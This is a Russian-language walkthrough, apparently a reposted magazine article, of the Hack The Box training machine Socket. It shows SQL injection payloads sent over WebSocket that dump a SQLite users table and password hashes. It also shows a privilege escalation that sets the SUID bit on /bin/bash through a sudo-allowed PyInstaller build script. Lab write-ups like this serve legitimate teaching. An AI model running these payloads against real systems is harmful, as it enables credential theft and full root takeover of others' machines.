Хакер - HTB Socket. Эксплуатируем SQL-инъекцию для атаки на SQLite через WebSocket
hacker_freiRalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Локальное повышение привилегий
В этом райтапе я покажу, как эксплуатировать SQL-инъекцию в SQLite, обращаясь к базе через веб‑сокет. Также пореверсим приложение на Python 3, скомпилированное для Linux, и повысим привилегии на целевой машине, проэксплуатировав уязвимость в билдере Python.
Наша цель — захват тренировочной машины Socket с площадки Hack The Box. Уровень ее сложности — средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.206 socket.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
По результатам сканирования имеем три открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Apache 2.4.52;
- 5789 — сервер Python 3, отвечающий по WebSockets.
SSH ничего не даст, с веб‑сокетами тоже пока что ничего не ясно, поэтому проходим на основной сайт. Как видно из http-title
, выполняется редирект на адрес http://qreader.htb
. Добавим этот домен в файл /etc/hosts
и откроем в браузере.
10.10.11.206 socket.htb qreader.htb
ТОЧКА ВХОДА
На странице видим ссылки для скачивания исполняемых файлов для Windows и Linux.
Скачав файл, закидываем его в любой удобный декомпилятор (я использую IDA Pro). Сразу можно обратить внимание на использование констант языка Python.
Эти константы означают, что скрипты на Python были скомпилированы в исполняемый файл. Но в этом случае мы можем обратно распаковать из ELF объектные файлы Python. Для этого используем pyinstxtractor.
python3 pyinstxtractor.py ../qreader
Мы получаем целый каталог объектных файлов Python, которые теперь нужно преобразовать в читаемые скрипты. Для преобразования будем использовать инструмент unpyc37.
python3.10 unpyc37-3.10/src/unpyc3.py pyinstxtractor/qreader_extracted/qreader.pyc > qreader.py
В строке 13 сразу определяем адрес сервиса, с которым нужно работать через веб‑сокеты. Так как это новый домен, обновляем запись в файле /etc/hosts
.
10.10.11.206 socket.htb qreader.htb ws.qreader.htb
Анализируя код, дальше находим две функции, через которые и происходит взаимодействие с сервером с помощью ws_connect
. Первая функция нужна для получения версии приложения, а вторая — для проверки обновлений.
Запускаем приложение и проверяем эти функции.
Попробуем перехватить трафик приложения, для чего запустим Burp Pro, а также перезапустим приложение, но теперь через туннелятор ProxyChains. Предварительно в файле конфигураций /etc/proxychains.conf
сделаем запись для HTTP-прокси.
http 127.0.0.1 1080
proxychains -q ./qreader
Снова запрашиваем версию программы и просматриваем историю запросов в Burp History.
Так как соединение с сервером было установлено, можно перейти к истории запросов по WebSockets.
Комбинацией клавиш Ctrl-R переносим запрос в Burp Repeater и пробуем отправить несколько базовых нагрузок, чтобы проверить, нет ли здесь возможности для SQL-инъекции. И очень быстро находим уязвимость внедрения кода SQL с такой нагрузкой:
{
"version": "0.0.2" -- -"
}
ТОЧКА ОПОРЫ
Первым делом попробуем определить количество столбцов в текущей таблице. Для этого будем использовать UNION-запрос с переменным количеством столбцов.
{"version": "0.0.2" union select 1 -- -"}
{"version": "0.0.2" union select 1,2 -- -"}
{"version": "0.0.2" union select 1,2,3 -- -"}
{"version": "0.0.2" union select 1,2,3,4 -- -"}
Вариант с четырьмя столбцами возвращает привычный нам ответ, а не ошибку, поэтому делаем вывод, что это подходящее количество. Также стоит отметить, что в ответ попадает одна запись, которая содержится в первой таблице, и не попадает запись из нашей второй «UNION-таблицы». Чтобы попадала запись из второй таблицы, нам нужно подать неверные данные в первую. К примеру, вместо значения версии 0.0.2
отправить строку qwe0.0.2
.
Теперь нам нужно узнать, какая база данных используется. Это будет важно при составлении запроса. Удалось установить, что это не MySQL и не PostgreSQL, а вот вариант для SQLite отобразил версию 3.37.2.
{
"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}
{
"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}
{
"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}
Теперь нужно получить таблицы из базы.
{
"version": "qwe0.0.2" union select 1,group_concat(name),3,4 from sqlite_schema -- -"
}
Первая интересная таблица — users
. Чтобы получить данные из нее, нужно знать, из каких столбцов их запрашивать. Поэтому следующим запросом узнаем столбцы таблицы users
.
{
"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master where type!="meta" and name="users" and sql not null -- -"
}
А теперь получим логины и пароли.
{
"version": "qwe0.0.2" union select 1,group_concat(username),group_concat(password),4 from users -- -"
}
Получили один хеш, по виду это MD5. Отправляем его на перебор по онлайновым базам и получаем пароль.
У нас есть пароль, но нет имени пользователя, поэтому пройдемся по другим таблицам. Тем же методом получаем столбцы из таблицы answers
.
{
"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master where type!="meta" and name="answers" and sql not null -- -"
}
Имена пользователей могут быть в столбцах answered_by
и answer
.
{
"version": "qwe0.0.2" union select 1,group_concat(answered_by),group_concat(answer),4 from answers -- -"
}
Получаем пароли пользователей Thomas Keller и Mike и пробуем авторизоваться по SSH, перебирая разные варианты логина. Логин tkeller
подошел.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Проникнув в систему, мы должны собрать информацию. Я буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
В выводе скрипта отмечена запись в /etc/sudoers
.
Справка: sudoers
Файл /etc/sudoers
в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l
.
Мы можем запустить скрипт /usr/local/sbin/build-installer.sh
от имени пользователя root
без ввода пароля. Разберемся, что делает этот сценарий.
В коде интересны два блока, которые будут выполняться, если указаны параметры build
или make
. В обоих блоках указанный в параметре файл будет передан программе pyinstaller
. Таким образом можно выполнить произвольный код на Python. Создадим файл privesc.spec
, который будет назначать S-бит командной оболочке.
import os
os.system("chmod u+s /bin/bash")
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
А теперь запускаем скрипт и передаем ему созданный файл.
sudo /usr/local/sbin/build-installer.sh build privesc.spec
Как видишь, теперь у файла /bin/bash
установлен S-бит, и, запустив его, мы можем получить новую привилегированную сессию.
/bin/bash -p
Флаг рута у нас, машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei